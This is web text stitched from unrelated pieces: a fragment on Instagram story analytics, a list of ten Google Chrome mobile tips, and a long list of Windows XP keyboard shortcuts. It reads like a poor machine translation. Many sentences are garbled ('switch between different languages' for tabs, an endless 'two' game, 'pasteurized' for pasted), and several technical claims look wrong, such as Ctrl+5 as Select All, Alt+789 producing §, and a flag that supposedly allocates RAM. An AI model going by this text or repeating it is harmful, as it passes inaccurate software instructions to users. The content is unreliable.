In addition, when it comes to Instagram storytelling, you can use analytics to analyze story data over the past three months. To access the analysis of Instagram stories or other analytics features, information such as the calculated automatic rate, audience demographic criteria, follow-up related to Linkin.bio, etc. will be provided to you.

Enhance your business with Instagram Analytics
You can optimize your stories with the help of Instagram analysis. As a result, increase the number of visits to this section. Although Instagram seems to be constantly updating its algorithms, there's no reason to refuse to follow them. To grow your business, it's a good idea to follow the 2020 Instagram algorithms.

Understanding these algorithms saves time. It also helps you connect better with your audience. Production of quality content and optimization of the Instagram page is another advantage of observing the 2020 Instagram algorithms

1. Swap between different tabs

Do you know that you can switch between different tabs in Google Chrome with just one finger? There is a separate concern for each platform. However, users of the Android version of the browser can switch between different languages ​​by placing their finger on the Chrome toolbar and moving their finger left or right. In addition, you can slide the tabs as a slider. To do this, just swipe down in the Google Chrome Toolbar (top search bar).
If you're using an iPhone, place your finger on the edge of the screen to quickly move between tabs, and then swipe your finger in.

2- Smart zoom by double touch

Another feature of Google Chrome is the smart zoom. With this feature, when you double-tap the main content of a site, Chrome recognizes the content you want and zooms in on it.
With a smart zoom, the content you want to enlarge and chrome fits well for the phone's display. Of course, this feature doesn't always work well, but overall, it's more effective than zooming in and out of the screen.

3. Turn your phone into a full-fledged desktop computer as you browse the web!

Do you prefer the Chrome desktop version mode for web browsing to the mobile version? Fortunately, this can be done well in the "Google" version of Google Chrome. To do this, check the "Request Desktop Site" option or "Demand for the desktop version of the site" from the "Menu" section, which is located in the vertical corner of the Chrome corner.

4- Automatic Reloading of pages that have not been opened!

Sometimes, due to problems with smartphones with wireless modems or telecommunications towers, the screen does not open. As a result, you'll have to reload the page to see it. Of course, there's a feature in Google Chrome that does this for you automatically
. // Type flags. Now, tap on the menu (seen with three vertical dots) and select "Find in page" from the opened bar.
Now in the search bar, enter the phrase Enable Offline Auto-Reload Mode, then tap on the "Default" drop-down window related to this phrase and activate the Enanble option.

5. Google Voice Search It

doesn't matter what platform you use to search the Internet with Google Chrome. With this browser, you can access the Google search service.
To do this, just open Google Chrome, tap on the search bar, and then touch the "Microphone" icon.
In addition, Google's voice search feature isn't limited to using Google Chrome; you can also access this service when viewing sites; for that, tap the search bar and tap the X icon. Now, the "Microphone" icon appears; now touch it again. You can now say the name of a website or what you are looking for, or even ask your questions.

6- Google cloud printing

Regardless of the platform of your device, Chrome browser with Google cloud capability works well. All you have to do is select the Print option from the "Menu" drop-down bar. Then select one of your printers that is turned on for this feature and print the pages directly from your phone with Google Chrome.
If you don't know about this feature or have trouble activating it, you can use the following article:
How to print with your phone or tablet ?!

7. Enable Reader Mode!

Although it's unbelievable, there are still sites that are stuck in the Stone Age and don't have an optimized version of themselves for users who trade with mobile phones and tablets. To fill the void left by the optimized version of your favorite website, you have to roll up your sleeves and think of a solution!
Enter the phrase chrome: // flags in the search bar and ignore the warning "these tests may be dangerous"; we will take care of you. Next, tap the "Menu" icon and then select "Find in page". Now, enter the phrase "reader mode" in the search bar.
From the Flags list, tap the "Enable" option in the reader mode section, and then select "Relaunch Now" from the bottom of the page to restart Google Chrome.
Finally, each time you access a site that Chrome can optimize for your phone or tablet, the "A" icon will appear in the browser's toolbar. Tapping on that chrome will optimize the site for your device.

8- Enjoy the secret game of Google Chrome!

For when your phone or tablet is not connected to the Internet, Google has a very addictive game in its Google Chrome browser for you. To play this game, disable the "Data" and "WiFi" options on your device and then log in to Google Chrome.
Then, enter the address of a site and tap on the "Search" option. Now, "Your error is offline" will be displayed in Chrome. The dinosaur touches the top of the message to start an endless "two" game. The gameplay is such that the dinosaur starts running and wherever you encounter the obstacle, you only need to tap on the screen of your phone to jump over the obstacle. You can see that life without the Internet, so it's not hard ...

9. The "turbocharged"

Another feature that increases the speed of Google Chrome is the "Turbo-Charge" hidden feature. As the amount of RAM allocated to Chrome increases, the speed of this browser will increase.
To speed up Google Chrome, select "Find in page" from the "Menu" section and search for "maximum tiles", then tap the "Maximum tiles for interest area" drop-down bar. From the page that opens, specify the amount of RAM you want to allocate to Google Chrome. Tap the amount of RAM you want to open, then select Relaunch Now to apply the change.

10 - Activate the ability to "reduce bandwidth usage"

Another neglected and useful feature in Google Chrome is the ability to "reduce bandwidth usage" by compressing the information on websites. This feature has reduced our use of "bandwidth" by 34% so far!
To enable this feature, tap the "Menu" icon and then go to the "Settings" section. Now scroll down and select Reduce data usage. Tap the slider to activate it

If you want to work with a computer faster and show yourself more professionally, we have a great trick for you. We're going to introduce you to more than 200 shortcut keys in the Windows XP environment that you can use to fully simulate what you can do with the mouse with the keyboard. Esc
General Keys Cancel Ongoing Operations. F1 Help. F2 normally changes the name of the selected item (s). Save current files in older programs (usually under DOS). F3 Search. F4 Open the drop-down list of address bar. F5 update or upgrade. Like the Tab key, the F6 rotates between the various components of the current window. F10







Jump to the main menus of a window like File, Edit, View and so on.
The F11 fills the current window.
In Windows, PrtScr takes a photo of the entire screen and places it in the clipboard's memory, which can be pasteurized in a photo editing program such as MS Paint.
Tab rotates between components of the current window. In Internet Explorer browser mode,
Space scrolls down the current page and acts like Page Down.
In normal mode, Backspace is one step higher in Windows (Up) and Back Explorer in Internet Explorer.
Home Go to the first line in text editing mode and go to the first page in review mode.
End Go to the end of the line in text editing mode and go to the bottom of the page in review mode.
Page Up goes up page by page, both on the Internet and in Windows, and usually everywhere.
Page Down goes down page by page, both on the Internet and in Windows, and usually everywhere.

Ctrl
Ctrl + Q     key combinations are output in some applications.
Ctrl + W     closes the current open file in most applications that open multiple files together, such as MS Office, Adobe Photoshop, Internet Explorer, and..
Ctrl + E     Search in the current path.
Ctrl + R     Refresh page equivalent to F5 key and Rebresh.
Ctrl + Y     When we go back to one action (Undo), these keys go one step forward (Redo). Of course, in some applications, this is usually the case with Microsoft Office products.
Ctrl + I     Open the favorites section.
Ctrl + O     Opening a new file in most applications is equivalent to File> Open.
Ctrl + P     Print in most applications.
Ctrl + A     Selects all items.
Ctrl + S    In most applications, save the current file.
Ctrl + D     on the Internet Explorer adds the current opened page to favorites (equivalent to Favorites> Add To Favorites) and in Windows it clears the selected item (s).
Ctrl + F     Search.
Ctrl + H     Is equivalent to History (although in Notepad editor it is equivalent to Find / Replace).
Ctrl + L     on the Internet Explorer is equivalent to File> Open.
Ctrl + Z     goes back to the last operation.
Ctrl + X     Transfer (cut) the desired item to the clipboard memory.
Ctrl + C     Copy the desired item to the clipboard memory.
Ctrl + V     Calling the desired item from the clipboard memory.
Ctrl + B     opens the Organize Favorites window.
Ctrl + N     opens a new window on Internet Explorer (almost all browsers).
Ctrl + F1    opens the program guide in most different programs.
Ctrl + F4     Open the Address Bar drop-down list in Internet Explorer.
Ctrl + F10     Open the menus at the top of the application window.
Ctrl + Backspace does the same thing when editing text, except that it erases word for word instead of character.
Ctrl + 5     is equivalent to Select All in most text editors.
Ctrl + Home     transfers the cursor to the first page when editing.
Ctrl + End     transfers the cursor to the bottom of the page when editing.
Ctrl + Insert     Copy the selected item (s) to the clipboard memory.

Alt
Alt + A     key combinations open the favorites menu and place Add To Favorites in the browser.
Alt + D     Moves the cursor to the address bar.
Alt + F4     Close the current window.
Alt + Space Bar is equivalent to right-clicking on the current window title bar.
Alt + Esc     navigates between open windows.
Alt + Tab     rotates between open windows. In some editors,
Alt + Backspace    works like Undo (usually older, DOS editors).
Alt + Home     jumps to the home screen in Internet Explorer.
Alt + Right Arrow is equivalent to Forward in the Windows browser.
Alt + Left Arrow is equivalent to Back in Windows browser.
Alt + Number    The Alt key combination, along with hitting a number on the right side of the keyboard, displays a character equivalent to the sketch code of the entered number. For example, if we hold down Alt and enter 789, this character will be displayed after releasing the Alt key: §.
Alt + Enter     displays the selected items (Properties).
Alt + PrtScr     takes a photo of the current window and transfers it to the clipboard memory.

Shift
Shift + F10     key combinations equivalent to right-click.
Shift + Del     Selects the complete erasure of the selected item (s) without the transfer to the recycle bin.
Shift + Tab     Inverts what Tab does.
Shift + Insert     Call information from clipboard memory.

Win
Win key combinations Open the Start menu in Windows.
Win + E     Open My Computer when displaying folders.
Win + R     Open the Windows Run window.
Win + U     Open the Windows Utility Manager window.
Win + D     Display display equivalent to Show Desktop in Windows.
Win + F     Search.
Win + Ctrl + F    Search for a computer on the network.
Win + L     Lock computer or go to Swich User mode in Windows.
Win + M     minimizes all open windows.
Win + Shift + M    recovers all Minimized windows.

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